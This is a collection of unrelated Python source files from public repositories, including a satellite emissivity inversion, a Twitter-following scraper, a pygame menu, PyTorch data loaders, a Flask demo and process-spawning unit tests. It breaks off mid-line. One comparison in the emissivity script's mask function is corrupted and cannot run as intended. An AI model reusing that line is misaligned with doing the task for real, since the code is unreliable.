#Gauss-Legendre integration (default interval is [-1, 1])\n deg = 4\n x, w = np.polynomial.legendre.leggauss(deg)\n # Translate x values from the interval [-1, 1] to [a, b]\n a=0\n b=1\n t = 0.5 * (x + 1) * (b - a) + a\n Teff[i, j] = 273.15+sum(w * Integrand(t,Tz_gr[i, j], L, H[i, j])) * 0.5 * (b - a)\n return Teff\n\ndef Integrand(zeta,Tz,L,H):\n Tinterp=interp.interp1d(np.linspace(0,1,21), Tz)\n T=Tinterp(zeta)\n return T *H* np.exp(-zeta*H / L) / L\n\n\n#Computes mask corresponding to temperature ranges\ndef ComputeMask(Zone):\n Mask=np.zeros(np.shape(H))\n for i in np.arange(0,np.shape(H)[0], 1):\n for j in np.arange(0,np.shape(H)[1], 1):\n z = (1 - Zeta[i, j]) * H[i, j]\n Tref=np.mean(Tz_gr[i,j,:][z<=500.])\n if Zone == \"East\":\n if Tref>TsMin and Tref1 and j>=112:\n Mask[i,j]=1\n if Zone == \"West\":\n if Tref>TsMin and Tref1 and j<112:\n Mask[i,j]=1\n if Zone == \"None\":\n Mask[i, j] = 1\n return Mask\n\n#Computes an initial semi-random emissivity field\ndef InitEmissivity(L, frac):\n Teff=ComputeTeff(L)\n TbObs=Tb*Mask\n Emissivity=np.ones(np.shape(Teff))\n Emissivity[Mask==1]=(TbObs/Teff)[Mask==1]\n Mask[Emissivity == -32768.0] = 0\n Emissivity[Mask==0]=0\n\n Rand=np.random.normal(0, 0.00, np.size(Tb))\n Rand=np.reshape(Rand,(np.shape(Tb)))\n Ebarre=np.mean(Emissivity[Emissivity!=0])\n Emissivity=Mask*(frac*Ebarre+(1-frac)*Emissivity+Rand)\n return Emissivity\n\ndef ComputeJac(x):\n L=x[0]\n Mu=x[1]\n E=x[2:]\n # Compute numerically the gradients along L\n Attempt1 = ComputeLagComponents(x)\n print(L, Attempt1[0], Attempt1[1], np.mean(E[E!=0]), np.std(E[E!=0]), Mu)\n\n xdL=x\n xdL[0]=L+dL\n Attempt2 = ComputeLagComponents(xdL)\n\n dJ1dL = (Attempt2[0] - Attempt1[0]) / dL\n #dJ2dL = (Attempt2[1] - Attempt1[1]) / dL\n dJ3dL = (Attempt2[1] - Attempt1[1]) / dL\n dLagdL = (dJ1dL + Mu * dJ3dL)\n\n # The gradients along the Ei are computed analytically\n dLagdE=Attempt2[2]\n dLagdE=np.reshape(dLagdE,(1,np.size(dLagdE)))\n dLagdx = np.concatenate(([dLagdL], [Attempt1[1]], dLagdE[0]), axis=0)\n\n return dLagdx\n\n#Computes the cost functions\ndef ComputeLagComponents(x):\n L=x[0]\n Mu=x[1]\n E=x[2:]\n E=np.reshape(E,np.shape(Tb))\n #print(\"Depth:\", L, \"Mu:\", Mu, \"E:\", np.mean(E[E!=0]))\n Teff=ComputeTeff(L)\n TbObs=Mask*Tb\n Tbmod=E*Teff\n Teff1D=np.reshape(Teff, (1,np.size(Teff)))[0,:]\n Ts1D=np.reshape(Ts, (1,np.size(Teff)))[0,:]\n Tbmod1D=np.reshape(Tbmod, (1,np.size(Tbmod)))[0,:]\n TbObs1D=np.reshape(TbObs, (1,np.size(TbObs)))[0,:]\n Emiss1D=np.reshape(E, (1,np.size(Emissivity)))[0,:]\n Mask1D=np.reshape(Mask, (1,np.size(Teff)))[0,:]\n #print(\"Too high: \", np.size(Emiss1D[Emiss1D==1])/np.size(Emiss1D), \"%\")\n\n N=np.size(Mask[Mask==1])\n\n J1=(np.sum((Tbmod1D[Tbmod1D!=0]-TbObs1D[Tbmod1D!=0])**2)/N)#np.size(Tbmod1D[Tbmod1D!=0]))\n #J2=np.sum((Emiss1D[Emiss1D!=0]-1)**2)/N#np.size(Tbmod1D[Tbmod1D!=0])\n\n #Compute normalized covariance = correlation\n m=np.stack((Emiss1D[Mask1D==1], Teff1D[Mask1D==1]), axis=0)\n sigmaE=np.std(Emiss1D[Mask1D==1])\n sigmaTe=np.std(Teff1D[Mask1D==1])\n J3 =((np.cov(m)[0, 1])/sigmaE / sigmaTe)**2\n\n #Compute gradients along E\n dLagdE=(2*Teff/N*(Tbmod-TbObs)+2*Lambda/N*(E-np.mean(Emiss1D[Mask1D==1]))+2*Mu/N/sigmaTe/sigmaE*J3**0.5*(E-np.mean(Emiss1D[Mask1D==1])))*Mask\n dJ1dE=(2*Teff/N*(Tbmod-TbObs))*Mask\n dJ3dE=(2/N/sigmaTe/sigmaE*J3**0.5*(E-np.mean(Emiss1D[Mask1D==1])))*Mask\n\n return J1, J3, dLagdE, Teff, dJ1dE, dJ3dE\n\ndef ComputeLagrangian(x):\n Solve=ComputeLagComponents(x)\n J1=Solve[0]\n #J2=Solve[1]\n J3=Solve[1]\n #print(\"J1\", J1, \"J3\", J3)\n return J1+Mu*J3\n\ndef PlotEmiss(E):\n fig, ax = plt.subplots(nrows=1, ncols=1)\n norm = mpl.colors.Normalize(vmin=0.9, vmax=1)\n cmap = mpl.cm.spectral\n myplot = ax.pcolormesh(E, cmap=cmap, norm=norm)\n cbar = fig.colorbar(myplot, ticks=np.arange(0.90, 1.01, 0.02))\n cbar.set_label('Emissivity', rotation=270)\n cbar.ax.set_xticklabels(['0.95', '0.96', '0.97', '0.98', '0.99', '1.0'])\n plt.savefig(\"../../OutputData/img/InvertingEmissDepth/Emissivity_DescentGrad_nDim.png\")\n plt.show()\n\n###################################################################################################\n#Here solve the optimization problem\n###################################################################################################\nStart=time.time()\n\n# Import SMOS data\nprint(\"Load data\")\nObs = netCDF4.Dataset('../../SourceData/SMOS/SMOSL3_StereoPolar_AnnualMeanSansNDJ_TbV_52.5deg_xy.nc')\nTb = Obs.variables['BT_V']\nTb=Tb[0]\nX = Obs.variables['x_ease2']\nY = Obs.variables['y_ease2']\nnc_obsattrs, nc_obsdims, nc_obsvars = ncr.ncdump(Obs)\n\n# Import temperature data\n#GRISLI = netCDF4.Dataset('../../SourceData/WorkingFiles/TB40S123_1_Corrected4Ts.nc')\nGRISLI = netCDF4.Dataset('../../SourceData/GRISLI/Avec_FoxMaule/Corrected_Tz_MappedonSMOS.nc')\nH = np.array(GRISLI.variables['H'])\nZeta = GRISLI.variables['Zeta']\nTz_gr = GRISLI.variables['T']\nTs=Tz_gr[:,:,0]\n\n#Parameters for data analyse\n#DeltaT=5\n#SliceT=np.arange(-60,-15,DeltaT)\n#Temperatures=[-60,-50,-45,-40,-35,-30,-25]#for East\n#Temperatures=[-40,-35,-30,-25,-20,-15,-10]#for West\n\n#print(\"Temperatures slices : \", SliceT)\n\n#For outputs\nFinalEmissivity=np.zeros(np.shape(Ts))\nFinalTeff=np.zeros(np.shape(Ts))\n\n#Work slice by slice\n'''for t in SliceT:\n TsMax = t + DeltaT\n TsMin = t'''\n\nZones=[\"None\"]#\"\"East\", \"West\"]\n\nTemperatures = np.arange(-60,-10,5)\nfor z in Zones:\n if z==\"East\":\n Temperatures = [-60,-55,-50, -45, -40, -35, -30, -25]\n if z==\"West\":\n Temperatures = [-45, -40, -35, -30, -25, -20, -15, -10]\n\n i=0\n for t in Temperatures[0:-1]:\n TsMax = Temperatures[i+1]\n TsMin = t\n i=i+1\n print(\" \")\n print(\"Slice between \", TsMin, \" and \", TsMax)\n\n Depth=25/math.exp(0.036*t) #initiate with plausible depth, between T and M\n Mu=100\n Lambda=0\n Mask=ComputeMask(z)\n Emissivity=InitEmissivity(Depth,0.5)\n dL=10\n\n Emissivity=np.reshape(Emissivity,(1,np.size(Emissivity)))\n Bounds=[(0,1)]*np.size(Emissivity)\n Bounds.append((1e-3, 1000))\n Bounds.append((1,1000))\n Bounds.reverse()\n\n x0=np.concatenate(([Depth], [Mu], Emissivity[0]), axis=0)\n BestValue=opt.fmin_l_bfgs_b(ComputeLagrangian,x0, fprime=ComputeJac, bounds=Bounds, maxiter=200)\n\n print(\"Depth:\",BestValue[0][0])\n\n Emissout=np.reshape(BestValue[0][2:], np.shape(Mask))\n FinalEmissivity=FinalEmissivity+Mask*Emissout\n\n#for display\nFinalEmissivity[FinalEmissivity==0]=FinalEmissivity[112,100]\nFinalEmissivity[FinalEmissivity>1]=1\n\nStop=time.time()\nprint(\"Elapsed time\", Stop-Start, \"s\")\n\nPlotEmiss(FinalEmissivity)\n\n###################################################################################################\n#Data output\n###################################################################################################\n\n#Create NetCDF file\ncols = len(X[0,:])\nrows = len(Y[:,0])\n\noutfile = r'../../SourceData/WorkingFiles/Emissivity_FromGradientDescent_Scipy4QGIS.nc'\nnc_new = netCDF4.Dataset(outfile, 'w', clobber=True)\n\nYout = nc_new.createDimension('y', rows)\nYout = nc_new.createVariable('y', 'f4', ('y',))\nYout.standard_name = 'y'\nYout.units = 'm'\nYout.axis = \"Y\"\nYout[:] = Y[:,0]+25000\nXout = nc_new.createDimension('x', cols)\nXout = nc_new.createVariable('x', 'f4', ('x',))\nXout.standard_name = 'x'\nXout.units = 'm'\nXout.axis = \"X\"\nXout[:] = X[0,:]-25000\n\nnc_new.createVariable(\"Emissivity\", 'float64', ('y','x'))\nnc_new.variables[\"Emissivity\"][:] = FinalEmissivity[::-1, :]\nnc_new.createVariable(\"Teff\", 'float64', ('y','x'))\nnc_new.variables[\"Teff\"][:] = FinalTeff[::-1, :]\nnc_new.createVariable(\"Error\", 'float64', ('y','x'))\nnc_new.variables[\"Error\"][:] = FinalEmissivity[::-1,:]*FinalTeff[::-1, :]-Tb[::-1,:]\ncrs = nc_new.createVariable('spatial_ref', 'i4')\ncrs.spatial_ref='PROJCS[\"WGS_84_NSIDC_EASE_Grid_2_0_South\",GEOGCS[\"GCS_WGS_1984\",DATUM[\"D_WGS_1984\",SPHEROID[\"WGS_1984\",6378137,298.257223563]],PRIMEM[\"Greenwich\",0],UNIT[\"Degree\",0.017453292519943295]],PROJECTION[\"Lambert_Azimuthal_Equal_Area\"],PARAMETER[\"latitude_of_origin\",-90],PARAMETER[\"central_meridian\",0],PARAMETER[\"false_easting\",0],PARAMETER[\"false_northing\",0],UNIT[\"Meter\",1]]'\nnc_new.close()","repo_name":"passalao/BIOG","sub_path":"2_DataControl/Build_Emissivity_ScipyInversion.py","file_name":"Build_Emissivity_ScipyInversion.py","file_ext":"py","file_size_in_byte":9850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15566810066","text":"\n\nimport os\nimport concurrent.futures\nimport requests\nimport pandas as pd\nfrom twarc import Twarc2\nfrom twarc_csv import DataFrameConverter\nimport streamlit as st\nimport click\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\ntwarc = Twarc2(bearer_token=os.environ[\"TWITTER_TOKEN\"])\nconverter = DataFrameConverter(input_data_type=\"users\", allow_duplicates=False) \n\nBORG_API_ENDPOINT = \"https://api.borg.id/influence/influencers/twitter:{}/\"\n\n# create click group\n@click.group()\ndef cli():\n pass\n\n# use twarc to get the users a user follows\ndef get_following(user_id):\n following = []\n for page in twarc.following(user_id):\n page_df = converter.process([page])\n following.append(page_df)\n return pd.concat(following)\n\n# save the users that nicktorba follows to a csv\ndef save_following_to_csv(user_id, username):\n following_df = get_following(user_id)\n following_df.to_csv(f\"data/{username}--following.csv\", index=False)\n return following_df\n\n# function that makes a request to the borg api, with the user id inserted, and returns the response\ndef get_borg_influence(user):\n # make borg request with BORG_API_KEY env var included in request headers \n response = requests.get(BORG_API_ENDPOINT.format(user[\"id\"]), headers={\"Authorization\": f'Token {os.environ[\"BORG_API_KEY\"]}'})\n return user, response.json()\n\ndef get_cluster_info(df):\n df_rows = []\n # use conncurrent.futures to make requests to the borg api in parallel\n with concurrent.futures.ThreadPoolExecutor(max_workers=16) as executor:\n futures = [executor.submit(get_borg_influence, user) for user in df.to_dict(orient=\"records\")]\n my_bar = st.progress(0)\n total = df.shape[0]\n count = 0\n for future in concurrent.futures.as_completed(futures):\n user, borg_influence = future.result()\n if 'error' in borg_influence:\n print(f\"user {user['username']} is not indexed by borg\")\n df_rows.append(user)\n continue\n clusters = borg_influence.get(\"clusters\", [])\n if len(clusters) < 0:\n # get the row from df where id == user_id as a dict\n df_rows.append(user)\n continue\n\n clusters_by_id = {cluster[\"id\"]: cluster for cluster in clusters}\n\n latest_scores = borg_influence[\"latest_scores\"]\n\n for score_dict in latest_scores:\n cluster_id = score_dict[\"cluster_id\"]\n score_dict = {f'latest_scores.{key}': value for key, value in score_dict.items()}\n cluster = clusters_by_id[cluster_id]\n cluster = {f'clusters.{key}': value for key, value in cluster.items()}\n row = {**score_dict, **cluster, **user}\n df_rows.append(row)\n count += 1\n my_bar.progress(count/total)\n return pd.DataFrame(df_rows)\n\n\n\n# a click function to save the users that a user follows to a csv\n@cli.command()\n@click.option(\"--username\", default=\"nicktorba\", help=\"The name of the user whose following you want to save\")\ndef save_following(username):\n # use twarc to get the user_id from username\n gen = twarc.user_lookup(users=[username], usernames=True) \n data = [i for i in gen]\n user_id = data[0][\"data\"][0][\"id\"]\n df = save_following_to_csv(user_id, username)\n com_df = get_cluster_info(df)\n # use twarc to get the user_id from username\n com_df.to_csv(f\"data/{username}--borg_community_info.csv\", index=False)\n\n \nif __name__ == \"__main__\":\n cli()","repo_name":"ntorba/my-following-communities","sub_path":"save_following.py","file_name":"save_following.py","file_ext":"py","file_size_in_byte":3563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"765797844","text":"from 小工具.gametool.GameButton import Button\n\n\n# 菜单界面\nclass Menu(object):\n def __init__(self, surface):\n # 初始化菜单的几个按钮\n # self.button1 = Button(surface, '单人游戏', [960, 300], font_info=['kaiti', 30, 0], font_pos_alter=[60, 20])\n self.button_play = Button(surface, '多人游戏', [surface.get_width()/2, surface.get_height()/2 - 200], font_info=['kaiti', 30, 0], font_pos_alter=[60, 20])\n self.button_room = Button(surface, ' 房间', [surface.get_width()/2, surface.get_height()/2 - 100], font_info=['kaiti', 30, 0], font_pos_alter=[60, 20])\n self.button_record = Button(surface, ' 数据', [surface.get_width()/2, surface.get_height()/2], font_info=['kaiti', 30, 0], font_pos_alter=[60, 20])\n self.button_set = Button(surface, ' 设置', [surface.get_width()/2, surface.get_height()/2 + 100], font_info=['kaiti', 30, 0], font_pos_alter=[60, 20])\n self.button_exit = Button(surface, ' 退出', [surface.get_width()/2, surface.get_height()/2 + 200], font_info=['kaiti', 30, 0], font_pos_alter=[60, 20])\n self.button_about = Button(surface, '', [200, 200], mod='query', hover_pic='query_hover')\n\n # 显示按钮\n def blit_button(self):\n self.button_play.drawButton()\n self.button_room.drawButton()\n self.button_record.drawButton()\n self.button_set.drawButton()\n self.button_exit.drawButton()\n self.button_about.drawButton()\n\n # 鼠标悬浮\n def hover_button(self, pos):\n self.button_play.changeColor(pos)\n self.button_room.changeColor(pos)\n self.button_record.changeColor(pos)\n self.button_set.changeColor(pos)\n self.button_exit.changeColor(pos)\n self.button_about.changeColor(pos)\n\n # 鼠标点击\n def click_button(self, pos):\n if self.button_play.isClicked(pos):\n return 'play'\n elif self.button_room.isClicked(pos):\n return 'room'\n elif self.button_record.isClicked(pos):\n return 'record'\n elif self.button_set.isClicked(pos):\n return 'set'\n elif self.button_exit.isClicked(pos):\n return 'exit'\n elif self.button_about.isClicked(pos):\n return 'about'\n else:\n return 'none'\n","repo_name":"yunyuyuan/pygame","sub_path":"五子棋/五子棋游戏/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"} +{"seq_id":"7003816376","text":"import torchvision.transforms as transforms\n\nfrom datasets import AVADataset, TestDataset\nfrom torch.utils.data import DataLoader\n\n\ndef get_data_loader(opt):\n if opt.is_train:\n transform = transforms.Compose([\n transforms.Resize(256),\n transforms.RandomCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor()])\n dataset = AVADataset(csv_file=opt.train_csv_file, root_dir=opt.img_path, transform=transform)\n batch_size = opt.train_batch_size\n else:\n transform = transforms.Compose([\n transforms.Resize(256),\n transforms.RandomCrop(224),\n transforms.ToTensor()\n ])\n dataset = TestDataset(image_dir=opt.test_image_dir, root_dir=opt.test_path, transform=transform)\n batch_size = 1\n\n return DataLoader(\n dataset,\n batch_size=batch_size,\n shuffle=opt.is_train > 0,\n num_workers=opt.num_workers)\n\n\ndef get_val_data_loader(opt):\n if not opt.is_validation:\n return None\n\n transform = transforms.Compose([\n transforms.Resize(256),\n transforms.RandomCrop(224),\n transforms.ToTensor()])\n dataset = AVADataset(csv_file=opt.val_csv_file, root_dir=opt.img_path, transform=transform)\n batch_size = opt.val_batch_size\n\n return DataLoader(\n dataset,\n batch_size=batch_size,\n shuffle=False,\n num_workers=opt.num_workers)\n","repo_name":"wlwkgus/Neural-IMage-Assessment","sub_path":"data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"31354498000","text":"from ast import arg\nfrom queue import Queue\nimport threading\n\ndef producer(data, q : Queue):\n for item in data:\n evt = threading.Event()\n q.put((item, evt))\n\n evt.wait()\n\ndef consumer(q:Queue):\n while True:\n data, ev = q.get()\n print(data * 2)\n ev.set();\n q.task_done()\n\n\ndef main():\n q = Queue()\n data = [10,50,10,40,30];\n threading.Thread(target=producer, args=(data,q)).start()\n threading.Thread(target=consumer, args=(q,)).start()\n\n q.join()\n\nif __name__ == \"__main__\":\n main();","repo_name":"RolandSireanu/FastRampUp","sub_path":"Python3RampUp/Threading/communication.py","file_name":"communication.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73239766480","text":"from flask import Flask, request\nimport requests\nfrom faker import Faker\n\napp = Flask(__name__)\nfake = Faker()\n\n\n@app.route('/requirements')\ndef requirements_display():\n try:\n with open('requirements.txt', 'r', encoding='utf-16le') as file:\n res = file.read()\n return res\n except FileNotFoundError:\n return 'No file with such name!'\n\n\n@app.route('/users/generate')\ndef generate_fake_info():\n count = request.args.get('count', default=101)\n try:\n count = int(count)\n if int(count) < 1:\n return 'Enter positive number!'\n except ValueError:\n return 'Enter correct number!'\n info = list()\n for i in range(1, count + 1):\n name = 'Name: ' + fake.name()\n mail = 'Email: ' + fake.ascii_email()\n info.append(f'{i}. {name}, {mail}')\n return info\n\n\n@app.route('/mean/')\ndef mid_height_weight():\n with open('hw.csv', 'r') as file:\n lines = file.read().split('\\n')[1:-2:]\n weight_list = list()\n height_list = list()\n for i in lines:\n line = i.split(',')\n weight = float(line[2])\n height = float(line[1])\n height_list.append(height)\n weight_list.append(weight)\n return f'Middle height: {(sum(height_list) / len(height_list)) * 2.54} centimeters,\\n' \\\n f'Middle weight: {(sum(weight_list) / len(weight_list)) * 0.45} kilogram'\n\n\n@app.route('/space/')\ndef num_astro():\n res = requests.get('http://api.open-notify.org/astros.json')\n if res.status_code == 200:\n data = res.json()\n number_of_astro = data.get('number')\n if number_of_astro is not None:\n return f'There are {number_of_astro} astronauts'\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"MaxShulha94/Python_pro_HW2","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29183845617","text":"from __future__ import absolute_import\n\nimport os\nimport glob\nimport errno\nimport gevent\nfrom cStringIO import StringIO\n\nimport mock\n\nfrom skycore.kernel_util.unittest import TestCase, main, skipIf\nfrom skycore.kernel_util import logging\nfrom skycore.kernel_util.sys import TempDir\nfrom skycore.kernel_util.sys.user import getUserName\nfrom skycore.kernel_util.uuid import genuuid\n\nfrom skycore.components.portowatcher import PortoWatcher\nfrom skycore.procs import PortoProcess, LinerProcess, Subprocess, Stream, mailbox\nfrom skycore import initialize_skycore\n\n\nclass TestStream(TestCase):\n def setUp(self):\n initialize_skycore()\n super(TestStream, self).setUp()\n\n log = logging.getLogger('tststrm')\n log.propagate = False\n log.setLevel(logging.DEBUG)\n self.io = StringIO()\n handler = logging.StreamHandler(self.io)\n log.addHandler(handler)\n self.stream = Stream(log, 'tst')\n\n def test_small_chunks(self):\n self.stream.feed('kokoko')\n self.assertEqual('', self.io.getvalue())\n self.stream.feed('\\n')\n self.assertEqual('[tst] kokoko\\n', self.io.getvalue())\n self.stream.feed('kekeke\\n')\n self.assertEqual('[tst] kokoko\\n[tst] kekeke\\n', self.io.getvalue())\n\n def test_large_chunks(self):\n self.stream.feed('x' * (1 << 10))\n self.assertEqual(self.io.getvalue(), '')\n self.stream.feed('y' * (1 << 10))\n self.assertEqual(self.io.getvalue(), '')\n self.stream.feed('z' * (1 << 14))\n self.assertEqual(self.io.getvalue(),\n '[tst] ' + 'x' * 1024 + 'y' * 1024 + '\\n' +\n '[tst] ' + 'z' * (1 << 14) + '\\n'\n )\n\n\n@skipIf(os.uname()[0].lower() != 'linux' or not os.path.exists('/run/portod.socket'),\n \"Porto is unavailable on this platform\")\nclass TestPortoProcess(TestCase):\n def setUp(self):\n initialize_skycore()\n super(TestPortoProcess, self).setUp()\n\n self.log = logging.getLogger('tstproc')\n self.log.setLevel(logging.DEBUG)\n self.log.propagate = False\n self.io = StringIO()\n handler = logging.StreamHandler(self.io)\n self.log.addHandler(handler)\n\n from porto.api import Connection\n self.conn = Connection(timeout=20, auto_reconnect=False)\n self.conn.connect()\n\n self.portowatcher = PortoWatcher(self.conn, None)\n\n def tearDown(self):\n self.portowatcher.stop()\n super(TestPortoProcess, self).tearDown()\n\n def test_spawn_porto(self):\n with TempDir() as tempdir:\n try:\n uuid = genuuid()\n proc = PortoProcess(self.log, self.log, self.conn,\n watcher=self.portowatcher,\n args=['sh', '-c', 'sleep 1; echo 42'],\n cwd=tempdir,\n root_container='some/non/existent',\n uuid=uuid,\n username=getUserName(),\n )\n\n self.assertFalse(proc.wait(0))\n\n try:\n proc.wait(5)\n finally:\n proc.send_signal(9)\n proc.wait(3)\n\n out = self.io.getvalue().split('\\n')\n self.assertIn('[out] 42', out, out)\n self.assertEqual(proc.exitstatus['exited'], 1)\n self.assertEqual(proc.exitstatus['exitstatus'], 0)\n finally:\n self.conn.Destroy('some')\n\n\nclass TestLinerProcess(TestCase):\n def setUp(self):\n initialize_skycore()\n super(TestLinerProcess, self).setUp()\n\n self.log = logging.getLogger('tstproc')\n self.log.setLevel(logging.DEBUG)\n self.log.propagate = False\n self.io = StringIO()\n handler = logging.StreamHandler(self.io)\n self.log.addHandler(handler)\n\n def check_mailbox():\n for obj in mailbox().iterate():\n obj()\n\n self.mbcheck = gevent.spawn(check_mailbox)\n\n def tearDown(self):\n self.mbcheck.kill()\n super(TestLinerProcess, self).tearDown()\n\n def test_spawn_process(self):\n with TempDir() as tempdir:\n uuid = genuuid()\n proc = LinerProcess(self.log, self.log,\n args=['sh', '-c', 'sleep 1; echo 42'],\n cwd='/',\n rundir=tempdir,\n uuid=uuid,\n )\n try:\n self.assertNotEqual(glob.glob(os.path.join(tempdir, '*' + uuid + '*')), [])\n proc.wait(5)\n finally:\n try:\n proc.send_signal(9)\n except EnvironmentError as e:\n if e.errno != errno.ESRCH:\n raise\n proc.wait(3)\n\n out = self.io.getvalue()\n\n self.assertIn('[out] 42\\n', out, out)\n self.assertEqual(proc.exitstatus['exited'], 1)\n self.assertEqual(proc.exitstatus['exitstatus'], 0)\n\n def test_kill_process(self):\n with TempDir() as tempdir:\n uuid = genuuid()\n proc = LinerProcess(self.log, self.log,\n args=['sleep', '100'],\n cwd='/',\n rundir=tempdir,\n uuid=uuid,\n )\n try:\n proc.send_signal(9)\n except EnvironmentError as e:\n if e.errno != errno.ESRCH:\n raise\n\n self.assertTrue(proc.wait(5), self.io.getvalue())\n\n self.assertEqual(proc.exitstatus['exited'], 0, self.io.getvalue())\n self.assertEqual(proc.exitstatus['signaled'], 1, self.io.getvalue())\n self.assertEqual(proc.exitstatus['termsig'], 9, self.io.getvalue())\n self.assertEqual(proc.exitstatus['liner_exited'], 1, self.io.getvalue())\n self.assertEqual(proc.exitstatus['liner_exitstatus'], 9, self.io.getvalue())\n\n def test_no_cwd(self):\n pids = []\n old_fork = os.fork\n\n def new_fork():\n pid = old_fork()\n if pid:\n pids.append(pid)\n return pid\n\n with TempDir() as tempdir:\n uuid = genuuid()\n cwd = os.path.join(tempdir, 'nonexistent')\n proc = None\n fork_mock = mock.patch('os.fork')\n with fork_mock as fm:\n fm.side_effect = new_fork\n try:\n with self.assertRaises(Exception):\n proc = LinerProcess(self.log, self.log,\n args=['sleep', '100'],\n cwd=cwd,\n rundir=tempdir,\n uuid=uuid,\n )\n self.assertTrue(pids)\n for pid in pids:\n try:\n os.waitpid(pid, os.WNOHANG)\n except EnvironmentError as e:\n if e.errno != errno.ECHILD:\n raise\n finally:\n if proc is not None:\n proc.send_signal(9)\n\n def test_no_rundir(self):\n pids = []\n old_fork = os.fork\n\n def new_fork():\n pid = old_fork()\n if pid:\n pids.append(pid)\n return pid\n\n with TempDir() as tempdir:\n uuid = genuuid()\n rundir = os.path.join(tempdir, 'nonexistent')\n proc = None\n fork_mock = mock.patch('os.fork')\n with mock.patch.object(LinerProcess, 'LINER_START_TIMEOUT', 3), fork_mock as fm:\n fm.side_effect = new_fork\n try:\n with self.assertRaises(Exception):\n proc = LinerProcess(self.log, self.log,\n args=['sleep', '100'],\n cwd=tempdir,\n rundir=rundir,\n uuid=uuid,\n )\n self.assertTrue(pids)\n for pid in pids:\n try:\n os.waitpid(pid, 0)\n except OSError as e:\n if e.errno != errno.ECHILD:\n raise\n finally:\n if proc is not None:\n proc.send_signal(9)\n\n\nclass TestSubprocess(TestCase):\n def setUp(self):\n initialize_skycore()\n super(TestSubprocess, self).setUp()\n\n self.log = logging.getLogger('tstproc')\n self.log.setLevel(logging.DEBUG)\n self.log.propagate = False\n\n def check_mailbox():\n for obj in mailbox().iterate():\n obj()\n\n self.mbcheck = gevent.spawn(check_mailbox)\n\n def tearDown(self):\n self.mbcheck.kill()\n super(TestSubprocess, self).tearDown()\n\n def test_spawn_subprocess(self):\n proc = Subprocess(self.log, self.log,\n uuid='',\n args=['/bin/sh', '-c', 'sleep 1; exit ${TESTVAR}'],\n cwd='/',\n env={'TESTVAR': '42'},\n )\n try:\n proc.wait(5)\n finally:\n try:\n proc.send_signal(9)\n except EnvironmentError as e:\n if e.errno != errno.ESRCH:\n raise\n proc.wait(3)\n\n self.assertEqual(proc.exitstatus['exited'], 1)\n self.assertEqual(proc.exitstatus['exitstatus'], 42)\n\n def test_kill_subprocess(self):\n proc = Subprocess(self.log, self.log,\n uuid='',\n args=['/bin/sleep', '100'],\n cwd='/',\n )\n try:\n proc.send_signal(9)\n except EnvironmentError as e:\n if e.errno != errno.ESRCH:\n raise\n\n self.assertTrue(proc.wait(5))\n self.assertTrue(proc.exitstatus)\n\n self.assertEqual(proc.exitstatus['exited'], 0, proc.exitstatus)\n self.assertEqual(proc.exitstatus['signaled'], 1, proc.exitstatus)\n self.assertEqual(proc.exitstatus['termsig'], 9, proc.exitstatus)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"infra/tests/test_process (2).py","file_name":"test_process (2).py","file_ext":"py","file_size_in_byte":10790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4055614038","text":"#!/usr/bin/env python3\n\nimport sys\nfile_1 = sys.argv[1]\nwith open(file_1) as f:\n f = f.readlines()\n\ndef censor(s):\n s = s.strip().split()\n for x in f:\n i = 0\n x = x.strip().split()\n for y in s:\n i += 1\n if x[0] in y:\n y = y.replace(x[0], '@' * len(x[0]))\n s[i - 1] = y\n print(' '.join(s))\n\n\nverse = 0\nfor x in sys.stdin:\n if censor(x) is not None:\n print(censor(x))\n","repo_name":"WickTheThird/CA117","sub_path":"lab032/censor_032.py","file_name":"censor_032.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43051796290","text":"from __future__ import annotations\nimport numpy as np\nfrom emlib.pitchtools import f2m\nimport sndtrck\nfrom .tools import *\nfrom .config import RenderConfig\nfrom .scorefuncs import * \nfrom .note import *\nfrom .measure import Measure\nfrom .envir import logger\nfrom .typehints import *\n\n\nclass Voice:\n def __init__(self, notes:List[Note]=None, lastnote_duration=None):\n \"\"\"\n A voice is a general container for non overlapping Notes.\n\n * No rests should be added, they are generated during rendering.\n * A voice generates a list of measures, each measure generates a list of pulses\n \"\"\"\n self._notes: List[Note] = []\n self._meanpitch = -1.0\n self.measures: List[Measure] = [] \n self.divided_notes: List[Note] = [] \n self.added_partials: int = 0\n assert lastnote_duration is not None\n self.lastnote_duration = asR(lastnote_duration)\n if notes:\n self.addnotes(notes)\n\n def __repr__(self) -> str:\n if self.isempty:\n return \"Voice()\"\n else:\n return \"Voice(%.3f:%.3f)\" % (self.start.__float__(), self.end.__float__())\n\n def __iter__(self) -> Iter[Measure]:\n return iter(self.measures)\n\n def isrendered(self) -> bool:\n return len(self.measures) > 0\n\n @property\n def notes(self) -> List[Note]:\n return self._notes\n\n @notes.setter\n def notes(self, newnotes: List[Note]) -> None:\n self._notes = []\n self.addnotes(newnotes)\n\n def addnote(self, note:Note) -> None:\n return self.addnotes([note])\n \n def addnotes(self, notes:List[Note]) -> None:\n assert isinstance(notes, (list, tuple))\n assert all(n0.end <= n1.start for n0, n1 in pairwise(notes)), \"Adding unsorted notes is not allowed\"\n\n if self.notes:\n assert notes[0].start >= self.end, f\"Notes do not fit! {notes[0].start} <= {self.notes[-1].end}\"\n for note in notes:\n assert isinstance(note, Note)\n if note.pitch == 0:\n assert note.amp == 0\n if note.dur < 